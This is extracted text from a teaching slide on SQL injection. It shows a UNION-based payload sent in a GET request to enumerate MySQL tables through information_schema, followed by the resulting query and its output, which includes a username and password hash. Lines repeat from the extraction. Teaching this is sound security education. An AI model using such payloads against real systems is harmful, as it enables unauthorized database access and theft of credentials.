Slide 20
Slide 20 text
Step 2: Find a table to query
For MySQL > 5, we can do this to find tables:
GET /users?id=1 UNION SELECT 1, 2, table_name FROM information_schema.tables
GET /users?id=1 UNION SELECT 1, 2, table_name FROM information_schema.tables
SELECT * FROM users WHERE id = 1 UNION SELECT 1,2, table_name
FROM information_schema.tables;
((1L, 'yeukhon', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8'),
((1L, 'yeukhon', '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8'),
(1L, '2', 'CHARACTER_SETS'), (1L, '2', 'COLLATIONS'),
(1L, '2', 'CHARACTER_SETS'), (1L, '2', 'COLLATIONS'),
(1L, '2', 'COLLATION_CHARACTER_SET_APPLICABILITY'),
(1L, '2', 'COLLATION_CHARACTER_SET_APPLICABILITY'),
…..
…..
(1L, '2', 'setup_timers'), (1L, '2', 'threads'), (1L, '2', 'exercises'), (1L, '2', 'users'))
(1L, '2', 'setup_timers'), (1L, '2', 'threads'), (1L, '2', 'exercises'), (1L, '2', 'users'))